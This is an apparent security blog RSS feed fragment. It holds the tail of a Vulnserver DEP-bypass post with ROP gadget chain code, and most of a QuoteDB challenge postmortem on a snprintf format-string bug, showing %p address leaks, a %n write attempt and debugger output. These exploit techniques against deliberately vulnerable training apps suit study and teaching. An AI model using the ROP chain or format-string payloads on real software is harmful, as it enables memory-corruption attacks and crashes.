&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501afb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop edi ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501afb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop edi ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501e3a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov esi, eax ; call edi
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6250221c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# add esi, ebx ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62502412&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov eax, esi ; pop esi ; pop edi ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41414141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk for esi
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41414141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk for edi 
# ! EAX now points to start of skeleton
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625017c0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov ebp, eax ; call  [0x625070E8]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Writeups on complex topics like this can be challenging to grasp without trying them out firsthand.&lt;/p&gt;

&lt;p&gt;The final &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ROP&lt;/code&gt; chain can be found in the following gist:
&lt;a href=&quot;https://gist.github.com/m-q-t/4eb78075e708dc0ec51f93a96964ee9b&quot;&gt;https://gist.github.com/m-q-t/4eb78075e708dc0ec51f93a96964ee9b&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;
</description>
        <pubDate>Fri, 22 Sep 2023 00:00:00 +0000</pubDate>
        <link>/2023/09/22/vulnserver-portable-dep-bypass/</link>
        <guid isPermaLink="true">/2023/09/22/vulnserver-portable-dep-bypass/</guid>
        
        <category>Research</category>
        
        <category>RE</category>
        
        <category>Binary Exploitation</category>
        
        
      </item>
    
      <item>
        <title>QuoteDB Exploit Challenge - Trials &amp; Tribulations</title>
        <description>&lt;h2 id=&quot;preface&quot;&gt;Preface&lt;/h2&gt;

&lt;p&gt;The point of this blog post is to provide a postmortem highlighting some of the mistakes which were encountered while solving the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QuoteDB&lt;/code&gt; challenge which can be found in the following &lt;a href=&quot;https://github.com/bmdyy/quote_db&quot;&gt;Github Repo&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;mistake-1---misunderstanding-format-string-vulnerabilities&quot;&gt;Mistake #1 - Misunderstanding Format String Vulnerabilities&lt;/h2&gt;

&lt;p&gt;The application includes a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get_quote&lt;/code&gt; feature, which enables the client to input a quote index, triggering a response from the server with the corresponding quote. An initial call to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get_quote()&lt;/code&gt; function can be discovered at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main + 0xEF6&lt;/code&gt;. A detailed examination of the function’s disassembly reveals a call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_snprintf()&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.text:0131158E mov     eax, [ebp+arg_0]
.text:01311591 shl     eax, 0Bh
.text:01311594 lea     edx, _quotes[eax]
.text:0131159A mov     eax, [ebp+arg_4]
.text:0131159D mov     eax, [eax]
.text:0131159F mov     [esp+8], edx    ; Format
.text:013115A3 mov     dword ptr [esp+4], 800h ; BufferCount
.text:013115AB mov     [esp], eax      ; Buffer
.text:013115AE call    _snprintf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What stands out in this specific instance of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; invocation is the absence of any additional arguments passed to the function, coupled with the eventual discovery that the format string specifier could be controlled by the attacker. These two factors (mostly the latter) together render this call a potent hotspot for a format string vulnerability.&lt;/p&gt;

&lt;p&gt;As mentioned above, the format string specifier can contain attacker controlled input. To explain how this happens, it’s worth stepping back for a second. Apart from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get_quote&lt;/code&gt; functionality, the application offers the following additional functionalities:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add_quote&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;update_quote&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;delete_quote&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To understand what’s being passed to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; call, let’s do two things, the first is examining the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; function prototype:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;snprintf&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The second is examining the stack at the time of the call to learn more about the arguments:&lt;/p&gt;

&lt;p&gt;(Note: In this example, a packet was sent to instruct the application to read the quote that is associated with index 1)&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;main+0x15ae:
00b715ae e8fd150000      call    main!main+0xd27 (00b72bb0)
0:002&amp;gt; dds esp L3
01db7390  015b4648
01db7394  00000800
01db7398  00b80280 main!main+0xe3f7
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using the function signature above, the arguments can be identified:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x015b4648&lt;/code&gt; =&amp;gt; destination buffer&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x800&lt;/code&gt; =&amp;gt; size of copy&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00b80280&lt;/code&gt; =&amp;gt; format string pointer&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Displaying the ASCII contents of the format string pointer shows the following:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:002&amp;gt; da 0x00b80280
00b80280  &quot;Give a man a mask and he'll tell&quot;
00b802a0  &quot; you the truth. - Oscar Wilde&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Stepping over the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; call, and displaying the contents of the destination buffer shows it was overwritten with the string:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:002&amp;gt; db 0x015b4648
015b4648  47 69 76 65 20 61 20 6d-61 6e 20 61 20 6d 61 73  Give a man a mas
015b4658  6b 20 61 6e 64 20 68 65-27 6c 6c 20 74 65 6c 6c  k and he'll tell
015b4668  20 79 6f 75 20 74 68 65-20 74 72 75 74 68 2e 20   you the truth. 
015b4678  2d 20 4f 73 63 61 72 20-57 69 6c 64 65 00 ad ba  - Oscar Wilde...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s now introduce a modified packet that will reassign the quote at index 1 to a format specifier by leveraging the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;update_functionality&lt;/code&gt; mentioned earlier - in this case, updating the quote to include three &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%p&lt;/code&gt; specifiers which should return three hex values.&lt;/p&gt;

&lt;p&gt;After sending the packet which instructs the application to update the quote, let’s retrigger the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get_quote()&lt;/code&gt; functionality and examine the stack at the time of the call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;main+0x15ae:
00b715ae e8fd150000      call    main!main+0xd27 (00b72bb0)
0:002&amp;gt; dds esp L3
021b7564  015b4e60
021b7568  00000800
021b756c  00b80280 main!main+0xe3f7
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Displaying the ASCII contents of the format string specifier reveals:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:002&amp;gt; da 00b80280 
00b80280  &quot;%p %p %p&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This validates the hypothesis that an attacker is capable of controlling the format string specifier. Following this, let’s take a closer look what is written to the destination buffer after stepping over the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; call:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:002&amp;gt; db 015b4e60
015b4e60  37 37 30 61 36 36 62 30-20 30 30 30 30 30 33 38  770a66b0 0000038
015b4e70  35 20 30 30 62 37 31 37-33 62 00 ba 0d f0 ad ba  5 00b7173b......
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The output clearly reveals that three &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; values have been written into the destination buffer. This confirms the successful exploitation of the format string vulnerability. Subsequently, the contents of the destination buffer are sent back to the client, which further enhances the value of this read primitive, at the application has been compiled with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Address Space Layout Randomization (ASLR)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Should there be any curiosity regarding the potential of this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf(&lt;/code&gt;) invocation to overwrite a return address, or possibly an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SEH&lt;/code&gt; record, it is noteworthy to mention that it cannot. The reason being, the destination buffer’s address resides in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Heap&lt;/code&gt;, making it significantly distant, especially considering the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x800&lt;/code&gt; maximum read size constraint.&lt;/p&gt;

&lt;p&gt;One last interesting side-note to mention before diving deeper into the rabit hole…&lt;/p&gt;

&lt;p&gt;The usage of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; in this scenario is incorrect (obviously on purpose as this is intended to be a vulnerable challenge). Rather than calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; in the following way:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;snprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x800&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;quote_string_pointer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; instead should have been called like this:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;snprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x800&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;%s&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;quote_string_pointer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Also in case you’re wondering why &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; was used (apart from it being part of the vulnerable challenge), instead of a function that’s designed to copy strings such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy()/strncpy()&lt;/code&gt; is most likely because:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; will null-terminate the output string automatically. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strncpy()&lt;/code&gt; however will not null terminate the string if the source string is greater than or equal to the number of characters to be copied.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; will not truncate the copy operation if a null byte is encountered in the source string (making this beneficial for an attacker as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00&lt;/code&gt; will not be considered a bad character in this specific scenario.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;write-primitive-rabbit-hole&quot;&gt;Write-Primitive Rabbit Hole&lt;/h3&gt;

&lt;p&gt;While the format string vulnerability can be leveraged to read arbitrary values from the stack, in some rare exceptions it can also be used to write values to memory addresses via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%n&lt;/code&gt; specifier.&lt;/p&gt;

&lt;p&gt;As there are a countless number of resources explaining how this works, it will not be covered in this post. Instead, a rabbit hole involving the write-primitive aspect of the format string vulnerability will be discussed.&lt;/p&gt;

&lt;p&gt;After achieving the read-primitive, the next logical step was to test whether a write-primitive would be possible. The majority of modern compilers will disable the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%n&lt;/code&gt; format specifier due to it being considered a security risk thus making the write-primitive an exception rather than the norm.&lt;/p&gt;

&lt;p&gt;As such, a quote was written to the database containing the following contents:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;w00tw00t%n
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If successfully evaluated, this will result in the writing the amount of characters before the format specifier (in this case &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;w00tw00t&lt;/code&gt; is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x08&lt;/code&gt;) to the argument (which in this case will be the next value on the stack).&lt;/p&gt;

&lt;p&gt;After triggering the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get_quote&lt;/code&gt; functionality and stepping through the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; call, an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Access Violation&lt;/code&gt; occurs:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(188c.1cf4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=770a66b0 ebx=0000006e ecx=00000008 edx=00b8028a esi=00b80289 edi=ffffffff
eip=00b77549 esp=025b7180 ebp=025b7228 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
main!main+0x56c0:
00b77549 8908            mov     dword ptr [eax],ecx  ds:0023:770a66b0=8b55ff8b
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What’s particularly interesting about this exception is that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ECX&lt;/code&gt; register is attempting to write &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x08&lt;/code&gt; to the contents of a memory address stored in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Does the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ECX&lt;/code&gt; look familiar? It should as that’s the length of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;w00tw00t&lt;/code&gt; string thus confirming that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%n&lt;/code&gt; format specifier is not disabled.&lt;/p&gt;

&lt;p&gt;The next step would be specific in context of the Operating System the vulnerable application is running in, for example if this was Linux, an entry in the GOT (Global Offset Table) would be overwritten to achieve exploitation. As this application is running on Windows, the next logical step would be to overwrite a return address to instruct the application to jump to the shellcode.&lt;/p&gt;

&lt;p&gt;However, a critical problem that is promptly detected is the fact that the arguments passed to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; function are never referenced on the stack. This single fact obstructs the capability to write to any chosen arbitrary memory address. Instead, the ensuing impact will manifest in the form of a denial-of-service (by using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%n&lt;/code&gt; specifier to instigate an access violation resulting in a crash).&lt;/p&gt;

&lt;p&gt;Diving deeper into this issue, when examining the disassembly associated with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt;; under-the-hood it is discovered that a call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vsnprintf()&lt;/code&gt; is made:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.text:00B72BB0 public _snprintf
.text:00B72BB0 _snprintf proc near
.text:00B72BB0
... args ... 
.text:00B72BB0
.text:00B72BB0 ; __unwind { // 990000
.text:00B72BB0 sub     esp, 1Ch
.text:00B72BB3 lea     eax, [esp+1Ch+arg_C]
.text:00B72BB7 mov     [esp+1Ch+ArgList], eax ; ArgList
.text:00B72BBB mov     eax, [esp+1Ch+Format]
.text:00B72BBF mov     [esp+1Ch+var_14], eax ; Format
.text:00B72BC3 mov     eax, [esp+1Ch+BufferCount]
.text:00B72BC7 mov     [esp+1Ch+var_18], eax ; BufferCount
.text:00B72BCB mov     eax, [esp+1Ch+Buffer]
.text:00B72BCF mov     [esp+1Ch+var_1C], eax ; Buffer
.text:00B72BD2 call    _vsnprintf &amp;lt;------------ here
.text:00B72BD7 add     esp, 1Ch
.text:00B72BDA retn
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This implies that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;snprintf()&lt;/code&gt; essentially behaves as a “wrapper” for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vsnprintf()&lt;/code&gt;, performing preliminary tasks such as setting up the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;va_list&lt;/code&gt; type. This practice is common in the implementation of variadic functions in C.&lt;/p&gt;

&lt;p&gt;Before going further, let’s get familiar with the function prototype for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vsnprintf()&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;vsnprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;va_list&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s set a breakpoint on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vsnprintf()&lt;/code&gt; call (aka &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main + 0xd49&lt;/code&gt;) and examine the arguments passed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vsnprintf()&lt;/code&gt; via the stack:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; dds esp L4
01eb70e4  018b3618    // dest
01eb70e8  00000800    // size
01eb70ec  01320280    // format specifier
01eb70f0  01eb7110    // arguments
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The string format specifier pointer in this case is just referencing a set of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%p&lt;/code&gt; specifiers:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; da 01320280
01320280  &quot;%p %p %p %p %p %p %p %p %p %p %p&quot;
013202a0  &quot; %p %p %p&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

